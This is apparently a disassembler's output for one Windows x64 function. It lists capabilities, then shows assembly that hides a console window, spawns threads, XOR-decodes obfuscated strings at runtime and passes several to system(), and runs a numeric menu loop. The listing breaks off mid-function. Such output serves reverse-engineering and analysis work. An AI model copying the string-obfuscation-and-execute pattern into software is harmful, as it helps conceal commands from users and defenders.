Function at 0x14003af70
Capabilities:
Create thread
Execute command
Set console window title
Terminate process

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x748]
sub rsp, 0x848
mov rax, qword [0x1400e0080]
xor rax, rsp
mov qword [rbp + 0x6b8], rax
mov ecx, 8
call fcn.1400a4d70
lea rcx, [0x140033560]
xor r12d, r12d
mov r9, rax
lea r8, [0x140040a10]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x158]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x150], rax
test rax, rax
je 0x14003ea91
cmp dword [rbp + 0x158], r12d
je 0x14003ea85
movaps xmm0, xmmword [rbp + 0x150]
lea rcx, [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14003ea85
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rbp + 0x150], xmm0
call fcn.1400a4d70
lea rcx, [0x14003aee0]
mov r9, rax
lea r8, [0x140040a10]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x158]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x150], rax
test rax, rax
je 0x14003ea72
cmp dword [rbp + 0x158], r12d
je 0x14003ea66
movaps xmm0, xmmword [rbp + 0x150]
lea rcx, [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14003ea66
mov qword [rsp + 0x860], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x868], rsi
mov qword [rsp + 0x870], rdi
mov qword [rsp + 0x838], r14
movdqa xmmword [rbp + 0x150], xmm0
call qword [sym.imp.KERNEL32.DLL_AllocConsole]
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea ecx, [r12 + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, qword gs:[0x58]
mov r14, rax
mov eax, 0x250
mov ebx, 0x4b8
mov rdi, qword [rcx]
mov ecx, dword [rax + rdi]
test cl, 1
jne 0x14003b11f
or ecx, 1
mov word [rbx + rdi + 1], 0x13d
mov dword [rax + rdi], ecx
lea rcx, [0x1400a9dd0]
mov byte [rbx + rdi], Ordinal_211
call fcn.1400a562c
cmp byte [rbx + rdi + 2], r12b
lea rsi, [rbx + rdi]
je 0x14003b135
xor byte [rsi], 0xa5
xor byte [rsi + 1], 0x3d
mov byte [rsi + 2], r12b
mov ecx, 0x210
mov ebx, 0x388
mov eax, dword [rcx + rdi]
test al, 1
jne 0x14003b172
or eax, 1
mov word [rdi + rbx + 7], 0x105
mov dword [rcx + rdi], eax
lea rcx, [0x1400a9df0]
mov dword [rdi + rbx], 0x844572e6
mov word [rdi + rbx + 4], 0x7796
mov byte [rdi + rbx + 6], 0x89
call fcn.1400a562c
cmp byte [rbx + rdi + 8], r12b
lea rcx, [rbx + rdi]
je 0x14003b1a0
xor byte [rcx], 0xa5
xor byte [rcx + 1], 0x3d
xor byte [rcx + 2], 0xb
xor byte [rcx + 3], 0xcb
xor byte [rcx + 4], 0xc3
xor byte [rcx + 5], 0x23
xor byte [rcx + 6], 0xad
xor byte [rcx + 7], 5
mov byte [rcx + 8], r12b
mov r8, r14
mov rdx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r14, rax
mov ebx, 0x2c4
mov eax, 0x40c
mov ecx, dword [rax + rdi]
test cl, 1
jne 0x14003b1ed
or ecx, 1
mov word [rbx + rdi + 3], 0x19f
mov dword [rax + rdi], ecx
lea rcx, [0x1400a9d80]
mov word [rbx + rdi], 0x26a9
mov byte [rbx + rdi + 2], 0x3d
call fcn.1400a562c
add rbx, rdi
cmp byte [rbx + 4], r12b
je 0x14003b209
xor byte [rbx], 0xdb
xor byte [rbx + 1], 0xd
xor byte [rbx + 2], 0x49
xor byte [rbx + 3], 0x9f
mov byte [rbx + 4], r12b
mov ecx, 0x2ac
mov esi, 0x378
mov eax, dword [rcx + rdi]
test al, 1
jne 0x14003b23b
or eax, 1
mov dword [rdi + rsi + 4], 0x1af912f
mov dword [rcx + rdi], eax
lea rcx, [0x1400a9da0]
mov dword [rdi + rsi], 0xf62762b8
call fcn.1400a562c
cmp byte [rsi + rdi + 7], r12b
lea rcx, [rsi + rdi]
je 0x14003b265
xor byte [rcx], 0xdb
xor byte [rcx + 1], 0xd
xor byte [rcx + 2], 0x49
xor byte [rcx + 3], 0x9f
xor byte [rcx + 4], 0x41
xor byte [rcx + 5], 0xb5
xor byte [rcx + 6], 0xaf
mov byte [rcx + 7], r12b
mov r8, r14
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r14, rax
mov ebx, 0x13c
mov eax, 0x2cc
mov ecx, dword [rax + rdi]
test cl, 1
jne 0x14003b2b5
or ecx, 1
mov word [rdi + rbx + 3], 0x143
mov dword [rax + rdi], ecx
lea rcx, [0x1400a9d40]
mov word [rdi + rbx], 0xc2d0
mov byte [rdi + rbx + 2], 0xa1
call fcn.1400a562c
cmp byte [rbx + rdi + 4], r12b
lea rsi, [rbx + rdi]
je 0x14003b2d3
xor byte [rsi], 0xa7
xor byte [rsi + 1], 0xe9
xor byte [rsi + 2], 0xd5
xor byte [rsi + 3], 0x43
mov byte [rsi + 4], r12b
mov ecx, 0x15c
mov ebx, 0x2f0
mov eax, dword [rcx + rdi]
test al, 1
jne 0x14003b310
or eax, 1
mov word [rdi + rbx + 7], 0x153
mov dword [rcx + rdi], eax
lea rcx, [0x1400a9d60]
mov dword [rdi + rbx], 0x2cbb86c4
mov word [rdi + rbx + 4], 0x231c
mov byte [rdi + rbx + 6], Ordinal_200
call fcn.1400a562c
cmp byte [rbx + rdi + 8], r12b
lea rcx, [rbx + rdi]
je 0x14003b33e
xor byte [rcx], 0xa7
xor byte [rcx + 1], 0xe9
xor byte [rcx + 2], 0xd5
xor byte [rcx + 3], 0x43
xor byte [rcx + 4], 0x69
xor byte [rcx + 5], 0x57
xor byte [rcx + 6], 0xe3
xor byte [rcx + 7], 0x53
mov byte [rcx + 8], r12b
mov r8, r14
mov rdx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r14, rax
mov ebx, 0x35c
mov eax, 0x410
mov ecx, dword [rax + rdi]
test cl, 1
jne 0x14003b38e
or ecx, 1
mov word [rbx + rdi + 3], 0x107
mov dword [rax + rdi], ecx
lea rcx, [0x1400a9d00]
mov word [rbx + rdi], 0x4ea0
mov byte [rbx + rdi + 2], reloc.WS2_32.dll_listen
call fcn.1400a562c
cmp byte [rbx + rdi + 4], r12b
lea rsi, [rbx + rdi]
je 0x14003b3ac
xor byte [rsi], 0xd7
xor byte [rsi + 1], 0x65
xor byte [rsi + 2], 0x79
xor byte [rsi + 3], 7
mov byte [rsi + 4], r12b
mov ecx, 0x1a4
mov ebx, 0x148
mov eax, dword [rcx + rdi]
test al, 1
jne 0x14003b3e9
or eax, 1
mov word [rdi + rbx + 7], 0x1a3
mov dword [rcx + rdi], eax
lea rcx, [0x1400a9d20]
mov dword [rdi + rbx], 0x68170ab4
mov word [rdi + rbx + 4], 0x5598
mov byte [rdi + rbx + 6], gethostname
call fcn.1400a562c
cmp byte [rbx + rdi + 8], r12b
lea rcx, [rbx + rdi]
je 0x14003b417
xor byte [rcx], 0xd7
xor byte [rcx + 1], 0x65
xor byte [rcx + 2], 0x79
xor byte [rcx + 3], 7
xor byte [rcx + 4], 0xed
xor byte [rcx + 5], 0x21
xor byte [rcx + 6], 0x11
xor byte [rcx + 7], 0xa3
mov byte [rcx + 8], r12b
mov qword [rsp + 0x840], r13
mov r8, r14
mov qword [rsp + 0x830], r15
mov rdx, rsi
movaps xmmword [rsp + 0x820], xmm6
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
cmp byte [0x14011cd05], r12b
jne 0x14003c2b6
xorps xmm0, xmm0
mov ecx, 0x158
movups xmmword [rbp + 0x3a0], xmm0
mov r13d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x3b0], r12
movups xmmword [rbp + 0x3c0], xmm0
mov eax, dword [rcx + rdi]
mov qword [rbp + 0x3b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3a0], r12b
mov qword [rbp + 0x3d0], r12
mov qword [rbp + 0x3d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3c0], r12b
mov qword [rbp + 0x3f0], r12
mov qword [rbp + 0x3f8], r13
mov dword [rbp + 0x2e8], 0x3db24561
mov dword [rbp + 0x2ec], 0x184616e2
mov word [rbp + 0x2f0], 0x973
mov ebx, 0x438
movups xmmword [rbp + 0x3e0], xmm0
mov byte [rbp + 0x3e0], r12b
movdqa xmm0, xmmword [0x1400ce600]
test al, 1
jne 0x14003b552
or eax, 1
mov byte [rbx + rdi + 0x1a], 1
mov dword [rcx + rdi], eax
lea rdx, [rbp + 0x2f1]
lea rcx, [rbx + rdi]
lea rax, [rcx + 0x19]
cmp rcx, rdx
ja 0x14003b52b
lea rdx, [rbp + 0x2d8]
cmp rax, rdx
jb 0x14003b52b
movzx eax, word [rbp + 0x2f0]
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2e8]
movsd qword [rcx + 0x10], xmm0
mov word [rcx + 0x18], ax
jmp 0x14003b546
movzx eax, word [rbp + 0x2f0]
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2e8]
movsd qword [rcx + 0x10], xmm0
mov word [rcx + 0x18], ax
lea rcx, [0x1400a9cd0]
call fcn.1400a562c
cmp byte [rbx + rdi + 0x1a], r12b
lea rcx, [rbx + rdi]
je 0x14003b5c8
xor byte [rcx], 0x41
xor byte [rcx + 1], 9
xor byte [rcx + 2], 0xfb
xor byte [rcx + 3], 0x73
xor byte [rcx + 4], 0xa7
xor byte [rcx + 5], 0x45
xor byte [rcx + 6], 0x7b
xor byte [rcx + 7], 0x29
xor byte [rcx + 8], 0x41
xor byte [rcx + 9], 9
xor byte [rcx + 0xa], 0xfb
xor byte [rcx + 0xb], 0x73
xor byte [rcx + 0xc], 0xa7
xor byte [rcx + 0xd], 0x45
xor byte [rcx + 0xe], 0x7b
xor byte [rcx + 0xf], 0x29
xor byte [rcx + 0x10], 0x41
xor byte [rcx + 0x11], 9
xor byte [rcx + 0x12], 0xfb
xor byte [rcx + 0x13], 0x73
xor byte [rcx + 0x14], 0xa7
xor byte [rcx + 0x15], 0x45
xor byte [rcx + 0x16], 0x7b
xor byte [rcx + 0x17], 0x29
xor byte [rcx + 0x18], 0x41
xor byte [rcx + 0x19], 9
mov byte [rcx + 0x1a], r12b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov r9d, 2
mov r8b, 0xdc
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400ce890]
mov ecx, 0x4ec
mov dword [rbp + 0x320], 0x22788182
mov word [rbp + 0x324], 0x4eb5
mov ebx, 0x3c0
mov eax, dword [rcx + rdi]
test al, 1
jne 0x14003b683
or eax, 1
mov byte [rdi + rbx + 0x17], 1
mov dword [rcx + rdi], eax
lea rdx, [rbp + 0x326]
lea rcx, [rdi + rbx]
lea rax, [rcx + 0x16]
cmp rcx, rdx
ja 0x14003b65c
lea rdx, [rbp + 0x310]
cmp rax, rdx
jb 0x14003b65c
mov eax, dword [rbp + 0x320]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x324]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], reloc.WS2_32.dll_gethostname
jmp 0x14003b677
mov eax, dword [rbp + 0x320]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x324]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], reloc.WS2_32.dll_gethostname
lea rcx, [0x1400a9ca0]
call fcn.1400a562c
cmp byte [rbx + rdi + 0x17], r12b
lea rdx, [rbx + rdi]
je 0x14003b6ed
xor byte [rdx], 0xeb
xor byte [rdx + 1], 0xe7
xor byte [rdx + 2], 0x11
xor byte [rdx + 3], 0x47
xor byte [rdx + 4], 0xc7
xor byte [rdx + 5], 0x3d
xor byte [rdx + 6], 0x39
xor byte [rdx + 7], 7
xor byte [rdx + 8], 0xeb
xor byte [rdx + 9], 0xe7
xor byte [rdx + 0xa], 0x11
xor byte [rdx + 0xb], 0x47
xor byte [rdx + 0xc], 0xc7
xor byte [rdx + 0xd], 0x3d
xor byte [rdx + 0xe], 0x39
xor byte [rdx + 0xf], 7
xor byte [rdx + 0x10], 0xeb
xor byte [rdx + 0x11], 0xe7
xor byte [rdx + 0x12], 0x11
xor byte [rdx + 0x13], 0x47
xor byte [rdx + 0x14], 0xc7
xor byte [rdx + 0x15], 0x3d
xor byte [rdx + 0x16], 0x39
mov byte [rdx + 0x17], r12b
xorps xmm0, xmm0
mov qword [rbp + 0x190], r12
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x198], r12
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x14003b710
lea rcx, [rbp + 0x180]
call fcn.140001fc0
cmp qword [rbp + 0x198], r13
lea rcx, [rbp + 0x180]
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.DLL_SetConsoleTitleA]
mov ecx, 0x3bc
mov ebx, 0x370
mov eax, dword [rcx + rdi]
test al, 1
jne 0x14003b776
or eax, 1
mov word [rdi + rbx + 3], 0x1bd
mov dword [rcx + rdi], eax
lea rcx, [0x1400a9c80]
mov word [rdi + rbx], 0x4ba4
mov byte [rdi + rbx + 2], 0xe0
call fcn.1400a562c
cmp byte [rbx + rdi + 4], r12b
lea rcx, [rbx + rdi]
je 0x14003b794
xor byte [rcx], 0xc7
xor byte [rcx + 1], 0x27
xor byte [rcx + 2], 0x93
xor byte [rcx + 3], 0xbd
mov byte [rcx + 4], r12b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm6, xmmword [0x1400ce8b0]
mov r14d, 0x300
mov esi, 0x170
add r14, rdi
add rsi, rdi
mov ebx, 0x4c0
add rbx, rdi
nop dword [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400347c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r15, rax
mov eax, 0x380
mov ecx, dword [rax + rdi]
test cl, 1
jne 0x14003b818
or ecx, 1
mov dword [rdi + rax], ecx
mov ecx, 0x300
add rcx, rdi
mov dword [rcx + 0xa], 0x17fa1ea
mov dword [rcx], 0xfeba9fc1
mov dword [rcx + 4], 0x3bbd2d4e
mov word [rcx + 8], 0xd8a4
lea rcx, [0x1400a9c60]
call fcn.1400a562c
cmp byte [r14 + 0xd], r12b
je 0x14003b862
xor byte [r14], 0xcb
xor byte [r14 + 1], 0xbf
xor byte [r14 + 2], 0x83
xor byte [r14 + 3], 0xcf
xor byte [r14 + 4], 0x7f
xor byte [r14 + 5], 3
xor byte [r14 + 6], 0x9d
xor byte [r14 + 7], 0x77
xor byte [r14 + 8], 0xcb
xor byte [r14 + 9], 0xbf
xor byte [r14 + 0xa], 0x83
xor byte [r14 + 0xb], 0xcf
xor byte [r14 + 0xc], 0x7f
mov byte [r14 + 0xd], r12b
mov rdx, r14
mov rcx, r15
call fcn.14003f690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400347c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r15, rax
mov eax, 0x2c0
mov ecx, dword [rax + rdi]
test cl, 1
jne 0x14003b8d3
or ecx, 1
mov edx, 0x170
add rdx, rdi
mov dword [rdi + rax], ecx
lea rcx, [rbp + 0x687]
mov byte [rdx + 0x10], 1
lea rax, [rdx + 0xf]
cmp rdx, rcx
ja 0x14003b8c4
lea rcx, [rbp + 0x678]
cmp rax, rcx
jb 0x14003b8c4
movups xmmword [rdx], xmm6
jmp 0x14003b8c7
movups xmmword [rdx], xmm6
lea rcx, [0x1400a9c30]
call fcn.1400a562c
cmp byte [rsi + 0x10], r12b
je 0x14003b91c
xor byte [rsi], 0x31
xor byte [rsi + 1], 0x91
xor byte [rsi + 2], 0xf1
xor byte [rsi + 3], 0x9d
xor byte [rsi + 4], 0x49
xor byte [rsi + 5], 0x49
xor byte [rsi + 6], 0xbd
xor byte [rsi + 7], 0x7d
xor byte [rsi + 8], 0x31
xor byte [rsi + 9], 0x91
xor byte [rsi + 0xa], 0xf1
xor byte [rsi + 0xb], 0x9d
xor byte [rsi + 0xc], 0x49
xor byte [rsi + 0xd], 0x49
xor byte [rsi + 0xe], 0xbd
xor byte [rsi + 0xf], 0x7d
mov byte [rsi + 0x10], r12b
mov rdx, rsi
mov rcx, r15
call fcn.14003f690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400347c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x1400ce910]
mov r15, rax
mov eax, 0x168
mov dword [rbp + 0x308], 0x192e59ea
mov word [rbp + 0x30c], 0x6fe1
mov ecx, dword [rax + rdi]
test cl, 1
jne 0x14003b9d8
or ecx, 1
lea rdx, [rbp + 0x30e]
mov dword [rdi + rax], ecx
mov ecx, 0x4c0
add rcx, rdi
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
cmp rcx, rdx
ja 0x14003b9b1
lea rdx, [rbp + 0x2f8]
cmp rax, rdx
jb 0x14003b9b1
mov eax, dword [rbp + 0x308]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x30c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], ntohl
jmp 0x14003b9cc
mov eax, dword [rbp + 0x308]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x30c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], ntohl
lea rcx, [0x1400a9c00]
call fcn.1400a562c
cmp byte [rbx + 0x17], r12b
je 0x14003ba3d
xor byte [rbx], 0x87
xor byte [rbx + 1], 0x3b
xor byte [rbx + 2], 0x4b
xor byte [rbx + 3], 0x6b
xor byte [rbx + 4], 0xdb
xor byte [rbx + 5], 0x4f
xor byte [rbx + 6], 0xb
xor byte [rbx + 7], 0xcb
xor byte [rbx + 8], 0x87
xor byte [rbx + 9], 0x3b
xor byte [rbx + 0xa], 0x4b
xor byte [rbx + 0xb], 0x6b
xor byte [rbx + 0xc], 0xdb
xor byte [rbx + 0xd], 0x4f
xor byte [rbx + 0xe], 0xb
xor byte [rbx + 0xf], 0xcb
xor byte [rbx + 0x10], 0x87
xor byte [rbx + 0x11], 0x3b
xor byte [rbx + 0x12], 0x4b
xor byte [rbx + 0x13], 0x6b
xor byte [rbx + 0x14], 0xdb
xor byte [rbx + 0x15], 0x4f
xor byte [rbx + 0x16], 0xb
mov byte [rbx + 0x17], r12b
mov rdx, rbx
mov rcx, r15
call fcn.14003f690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x170]
cmp eax, 0x77
je 0x14003bd60
cmp eax, 0x38f
jne 0x14003b7c0
mov rax, qword gs:[0x58]
mov ecx, 0x354
mov edi, 0x364
mov rbx, qword [rax]
mov eax, dword [rcx + rbx]
test al, 1
jne 0x14003bab7
or eax, 1
mov word [rbx + rdi + 3], 0x1bd
mov dword [rcx + rbx], eax
lea rcx, [0x1400a9be0]
mov word [rbx + rdi], 0x6712
mov byte [rbx + rdi + 2], 0xba
call fcn.1400a562c
cmp byte [rbx + rdi + 4], r12b
lea rcx, [rbx + rdi]
je 0x14003bad5
xor byte [rcx], 0x71
xor byte [rcx + 1], 0xb
xor byte [rcx + 2], 0xc9
xor byte [rcx + 3], 0xbd
mov byte [rcx + 4], r12b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400347c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x1400ce880]
mov rsi, rax
mov ecx, 0x248
mov dword [rbp + 0x350], 0xa82c9545
mov dword [rbp + 0x354], 0x9791124
mov edi, 0x418
mov eax, dword [rcx + rbx]
test al, 1
jne 0x14003bb78
or eax, 1
mov byte [rbx + rdi + 0x18], 1
mov dword [rcx + rbx], eax
lea rdx, [rbp + 0x357]
lea rax, [rbx + rdi]
lea rcx, [rax + 0x17]
cmp rax, rdx
ja 0x14003bb5c
lea rdx, [rbp + 0x340]
cmp rcx, rdx
jb 0x14003bb5c
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x350]
movsd qword [rax + 0x10], xmm0
jmp 0x14003bb6c
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x350]
movsd qword [rax + 0x10], xmm0
lea rcx, [0x1400a9bc0]
call fcn.1400a562c
cmp byte [rbx + rdi + 0x18], r12b
lea rdx, [rbx + rdi]
je 0x14003bbe6
xor byte [rdx], 0x37
xor byte [rdx + 1], 0xfb
xor byte [rdx + 2], 0x4d
xor byte [rdx + 3], 0xc5
xor byte [rdx + 4], 0x41
xor byte [rdx + 5], 0x2b
xor byte [rdx + 6], 0x59
xor byte [rdx + 7], 9
xor byte [rdx + 8], 0x37
xor byte [rdx + 9], 0xfb
xor byte [rdx + 0xa], 0x4d
xor byte [rdx + 0xb], 0xc5
xor byte [rdx + 0xc], 0x41
xor byte [rdx + 0xd], 0x2b
xor byte [rdx + 0xe], 0x59
xor byte [rdx + 0xf], 9
xor byte [rdx + 0x10], 0x37
xor byte [rdx + 0x11], 0xfb
xor byte [rdx + 0x12], 0x4d
xor byte [rdx + 0x13], 0xc5
xor byte [rdx + 0x14], 0x41
xor byte [rdx + 0x15], 0x2b
xor byte [rdx + 0x16], 0x59
xor byte [rdx + 0x17], 9
mov byte [rdx + 0x18], r12b
mov rcx, rsi
call fcn.14003f690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x3a0]
call fcn.14003fcb0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400347c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x1400ce920]
mov rsi, rax
mov ecx, 0x3ec
mov dword [rbp + 0x368], 0x79401cb8
mov dword [rbp + 0x36c], 0xb1099d2b
mov edi, 0x270
mov eax, dword [rcx + rbx]
test al, 1
jne 0x14003bc9e
or eax, 1
mov byte [rbx + rdi + 0x18], 1
mov dword [rcx + rbx], eax
lea rdx, [rbp + 0x36f]
lea rax, [rbx + rdi]
lea rcx, [rax + 0x17]
cmp rax, rdx
ja 0x14003bc82
lea rdx, [rbp + 0x358]
cmp rcx, rdx
jb 0x14003bc82
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x368]
movsd qword [rax + 0x10], xmm0
jmp 0x14003bc92
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x368]
movsd qword [rax + 0x10], xmm0
lea rcx, [0x1400a9ba0]
call fcn.1400a562c
cmp byte [rbx + rdi + 0x18], r12b
lea rdx, [rbx + rdi]
je 0x14003bd0c
xor byte [rdx], 0xcb
xor byte [rdx + 1], 0x6b
xor byte [rdx + 2], 0x2f
xor byte [rdx + 3], 0xb
xor byte [rdx + 4], 0x4f
xor byte [rdx + 5], 0xa7
xor byte [rdx + 6], 0x29
xor byte [rdx + 7], 0xb1
xor byte [rdx + 8], 0xcb
xor byte [rdx + 9], 0x6b
xor byte [rdx + 0xa], 0x2f
xor byte [rdx + 0xb], 0xb
xor byte [rdx + 0xc], 0x4f
xor byte [rdx + 0xd], 0xa7
xor byte [rdx + 0xe], 0x29
xor byte [rdx + 0xf], 0xb1
xor byte [rdx + 0x10], 0xcb
xor byte [rdx + 0x11], 0x6b
xor byte [rdx + 0x12], 0x2f
xor byte [rdx + 0x13], 0xb
xor byte [rdx + 0x14], 0x4f
xor byte [rdx + 0x15], 0xa7
xor byte [rdx + 0x16], 0x29
xor byte [rdx + 0x17], 0xb1
mov byte [rdx + 0x18], r12b
mov rcx, rsi
call fcn.14003f690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x3c0]
call fcn.14003fcb0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x5e8]
call fcn.140001dd0
lea rdx, [rbp + 0x3a0]
mov rbx, rax
lea rcx, [rbp + 0x608]
call fcn.140001dd0
mov rdx, rbx
mov rcx, rax
call fcn.140034300
jmp 0x14003c19d
mov rax, qword gs:[0x58]
mov ecx, 0x36c
mov edi, 0x224
mov rbx, qword [rax]
mov eax, dword [rcx + rbx]
test al, 1
jne 0x14003bda1
or eax, 1
mov word [rbx + rdi + 3], 0x1d9
mov dword [rcx + rbx], eax
lea rcx, [0x1400a9b80]
mov word [rbx + rdi], 0x83e0
mov byte [rbx + rdi + 2], 0xac
call fcn.1400a562c
cmp byte [rbx + rdi + 4], r12b
lea rcx, [rbx + rdi]
je 0x14003bdbf
xor byte [rcx], 0x83
xor byte [rcx + 1], 0xef
xor byte [rcx + 2], 0xdf
xor byte [rcx + 3], 0xd9
mov byte [rcx + 4], r12b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400347c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x1400ce8a0]
mov rsi, rax
mov ecx, 0x4bc
mov dword [rbp + 0x380], 0xd8002d99
mov dword [rbp + 0x384], 0x1f050b5e
mov edi, 0x1e0
mov eax, dword [rcx + rbx]
test al, 1
jne 0x14003be62
or eax, 1
mov byte [rbx + rdi + 0x18], 1
mov dword [rcx + rbx], eax
lea rdx, [rbp + 0x387]
lea rax, [rbx + rdi]
lea rcx, [rax + 0x17]
cmp rax, rdx
ja 0x14003be46
lea rdx, [rbp + 0x370]
cmp rcx, rdx
jb 0x14003be46
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x380]
movsd qword [rax + 0x10], xmm0
jmp 0x14003be56
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x380]
movsd qword [rax + 0x10], xmm0
lea rcx, [0x1400a9b60]
call fcn.1400a562c
cmp byte [rbx + rdi + 0x18], r12b
lea rdx, [rbx + rdi]
je 0x14003bed0
xor byte [rdx], 0xeb
xor byte [rdx + 1], 0x43
xor byte [rdx + 2], 0x61
xor byte [rdx + 3], 0xb5
xor byte [rdx + 4], 0x3b
xor byte [rdx + 5], 0x31
